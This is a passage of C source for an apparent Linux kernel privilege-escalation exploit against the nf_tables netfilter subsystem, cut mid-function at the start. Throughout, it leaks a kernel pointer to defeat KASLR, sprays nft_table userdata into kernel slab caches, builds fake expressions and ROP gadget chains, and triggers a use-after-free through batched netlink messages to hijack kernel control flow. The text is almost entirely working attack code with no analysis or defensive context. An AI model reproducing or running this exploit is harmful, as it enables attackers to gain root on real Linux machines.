            nft_counter_ops = *(unsigned long*) &read_data[0x107];

            if(nft_counter_ops > 0xffffffff00000000)
                kbase = nft_counter_ops - nft_counter_ops_off;

            break;
        }
    }

    printf("kbase %lx heap_addr %lx\n", kbase, heap_addr);

    if(kbase == 0){
        return;
    }

    batch = mnl_nlmsg_batch_start(buf, buf_size);

    nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_DELRULE, family, 0, seq++);
    nftnl_rule_nlmsg_build_payload(nlh, rule_target_del);
    mnl_nlmsg_batch_next(batch);

    nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) {
        err(1, "mnl_socket_send");
    }

    // wait for destroy work
    usleep(500 * 1000);

    // spray nft_table->udata to kmalloc-cg-192
    struct nftnl_table * tables_rip_control[VICTIM_SPARY_COUNT*16] = {0,};

    uint64_t *rip_control_data = malloc(1024);

    make_payload(rip_control_data);

    for(int i = 0; i < VICTIM_SPARY_COUNT*16; i++){
        char *table_name;
        asprintf(&table_name, "t_rip_192_%02hx", i);

        struct nftnl_table * table = nftnl_table_alloc();
        nftnl_table_set_str(table, NFTNL_TABLE_NAME, table_name);
        nftnl_table_set_u32(table, NFTNL_TABLE_FLAGS, 0);
        nftnl_table_set_data(table, NFTNL_TABLE_USERDATA, rip_control_data, 192);

        tables_rip_control[i] = table;
    }

    batch = mnl_nlmsg_batch_start(buf, buf_size);
    nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    for(int i = 0; i < VICTIM_SPARY_COUNT*16; i++){
        nlh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWTABLE, family, 0, seq++);
        nftnl_table_nlmsg_build_payload(nlh, tables_rip_control[i]);
        mnl_nlmsg_batch_next(batch);
    }

    nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) {
        err(1, "mnl_socket_send");
    }

    batch = mnl_nlmsg_batch_start(buf, buf_size);

    nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWSET, family, NLM_F_CREATE, seq++);
    nftnl_set_nlmsg_build_payload(nlh, set_delay);
    mnl_nlmsg_batch_next(batch);

    nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) {
        err(1, "mnl_socket_send");
    }

    batch = mnl_nlmsg_batch_start(buf, buf_size);

    nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    for(int i = 0; i < SET_DELAY_ELEM/2; i++){
        nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWSETELEM, family, NLM_F_CREATE, seq++);
        nftnl_set_elems_nlmsg_build_payload(nlh, set_delay_elems[i]);
        mnl_nlmsg_batch_next(batch);
    }

    nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) {
        err(1, "mnl_socket_send");
    }

    batch = mnl_nlmsg_batch_start(buf, buf_size);

    nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    for(int i = SET_DELAY_ELEM/2; i < SET_DELAY_ELEM; i++){
        nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWSETELEM, family, NLM_F_CREATE, seq++);
        nftnl_set_elems_nlmsg_build_payload(nlh, set_delay_elems[i]);
        mnl_nlmsg_batch_next(batch);
    }

    nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) {
        err(1, "mnl_socket_send");
    }

    rule_bind_chain_1_2_del = nftnl_rule_alloc();

    nftnl_rule_set_str(rule_bind_chain_1_2_del, NFTNL_RULE_TABLE, table1_name);
    nftnl_rule_set_str(rule_bind_chain_1_2_del, NFTNL_RULE_CHAIN, chain1_name);
    nftnl_rule_set_u64(rule_bind_chain_1_2_del, NFTNL_RULE_HANDLE, 0xa);

    // spray nft_table->udata to kmalloc-cg-256
    struct nftnl_table * tables_fake_expr[FAKE_EXPR_SPRAY_COUNT] = {0,};

    uint64_t *fake_expr_data = malloc(1024);

    memset(fake_expr_data, 'e', 1024);

    fake_expr_data[3] = heap_addr;
    fake_expr_data[4] = kbase + pop_rsp_ret;
    fake_expr_data[5] = heap_addr;

    for(int i = 0; i < FAKE_EXPR_SPRAY_COUNT; i++){
        char *table_name;
        asprintf(&table_name, "st2_256_%02hx", i);

        struct nftnl_table * table = nftnl_table_alloc();
        nftnl_table_set_str(table, NFTNL_TABLE_NAME, table_name);
        nftnl_table_set_u32(table, NFTNL_TABLE_FLAGS, 0);
        nftnl_table_set_data(table, NFTNL_TABLE_USERDATA, fake_expr_data, 256);

        tables_fake_expr[i] = table;
    }

    batch = mnl_nlmsg_batch_start(buf, buf_size);

    nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    nlh = nftnl_chain_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWCHAIN, family, 0, seq++);
    nftnl_chain_nlmsg_build_payload(nlh, chain2);
    mnl_nlmsg_batch_next(batch);

    nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWSET, family, NLM_F_CREATE, seq++);
    nftnl_set_nlmsg_build_payload(nlh, set1);
    mnl_nlmsg_batch_next(batch);

    for(int i = 0; i < FAKE_EXPR_SPRAY_COUNT/2; i++){
        nlh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWTABLE, family, 0, seq++);
        nftnl_table_nlmsg_build_payload(nlh, tables_fake_expr[i]);
        mnl_nlmsg_batch_next(batch);
    }

    nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWSETELEM, family, NLM_F_CREATE, seq++);
    nftnl_set_elems_nlmsg_build_payload(nlh, set1_elem);
    mnl_nlmsg_batch_next(batch);

    for(int i = FAKE_EXPR_SPRAY_COUNT/2; i < FAKE_EXPR_SPRAY_COUNT; i++){
        nlh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWTABLE, family, 0, seq++);
        nftnl_table_nlmsg_build_payload(nlh, tables_fake_expr[i]);
        mnl_nlmsg_batch_next(batch);
    }

    nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, family, NLM_F_CREATE, seq++);
    nftnl_rule_nlmsg_build_payload(nlh, rule_bind_chain_1_2);
    mnl_nlmsg_batch_next(batch);

    nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_DELRULE, family, 0, seq++);
    nftnl_rule_nlmsg_build_payload(nlh, rule_bind_chain_1_2_del);
    mnl_nlmsg_batch_next(batch);

    nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, family, NLM_F_CREATE, seq++);
    nftnl_rule_nlmsg_build_payload(nlh, rule_lookup_set1);
    mnl_nlmsg_batch_next(batch);

    nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_DELSETELEM, family, 0, seq++);
    nftnl_set_elems_nlmsg_build_payload(nlh, set_delay_del);
    mnl_nlmsg_batch_next(batch);

    nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_DELSET, family, 0, seq++);
    nftnl_set_nlmsg_build_payload(nlh, set_delay);
    mnl_nlmsg_batch_next(batch);

    nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_DELSETELEM, family, 0, seq++);
    nftnl_set_elems_nlmsg_build_payload(nlh, set1_elem);
    mnl_nlmsg_batch_next(batch);

    nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) {
        err(1, "mnl_socket_send");
    }

    // wait for destroy work start
    usleep(10*1000);

    for(int i = 0; i < SET_SPRAY_COUNT; i++){
        batch = mnl_nlmsg_batch_start(buf, buf_size);

        nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
        mnl_nlmsg_batch_next(batch);

        nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWSET, family, NLM_F_CREATE, seq++);
        nftnl_set_nlmsg_build_payload(nlh, sets_rbtree2[i]);
        mnl_nlmsg_batch_next(batch);

        nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
        mnl_nlmsg_batch_next(batch);

        if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) {
            err(1, "mnl_socket_send");
        }
    }

    // wait for destroy work done
    usleep(1000*1000);

    struct nftnl_rule * rule_counter = nftnl_rule_alloc();

    char rule_counter_data[0x100] = {0,};

    *(unsigned long*)(rule_counter_data+6) = kbase + pop_rsp_pop_r13_pop_r14_pop_r15_ret;

    make_payload2(rule_counter_data+0xf);

    nftnl_rule_set_str(rule_counter, NFTNL_RULE_TABLE, table1_name);
    nftnl_rule_set_str(rule_counter, NFTNL_RULE_CHAIN, chain1_name);
    nftnl_rule_set_data(rule_counter, NFTNL_RULE_USERDATA, rule_counter_data, 256);

    expr_counter = nftnl_expr_alloc("counter");
    nftnl_rule_add_expr(rule_counter, expr_counter);

    batch = mnl_nlmsg_batch_start(buf, buf_size);

    nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, family, NLM_F_CREATE, seq++);
    nftnl_rule_nlmsg_build_payload(nlh, rule_counter);
    mnl_nlmsg_batch_next(batch);

    nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) {
        err(1, "mnl_socket_send");
    }

    usleep(1000*1000);
}

void netfilter(){
    save_state();

    for(int i = 0; i < 10; i++){
        new_ns();

        nl = mnl_socket_open(NETLINK_NETFILTER);
        if (nl == NULL) {
            err(1, "mnl_socket_open");
        }

        if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0) {
            perror("mnl_socket_bind");
            exit(EXIT_FAILURE);
        }

        portid = mnl_socket_get_portid(nl);

        trig();
    }

    mnl_socket_close(nl);
}

int main(int argc, char ** argv)
{
    cpu_set_t my_set;
    CPU_ZERO(&my_set);
    CPU_SET(0, &my_set);

    if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) {
        perror("[-] sched_setaffinity()");
        exit(EXIT_FAILURE);
    }

    netfilter();

    return 0;
}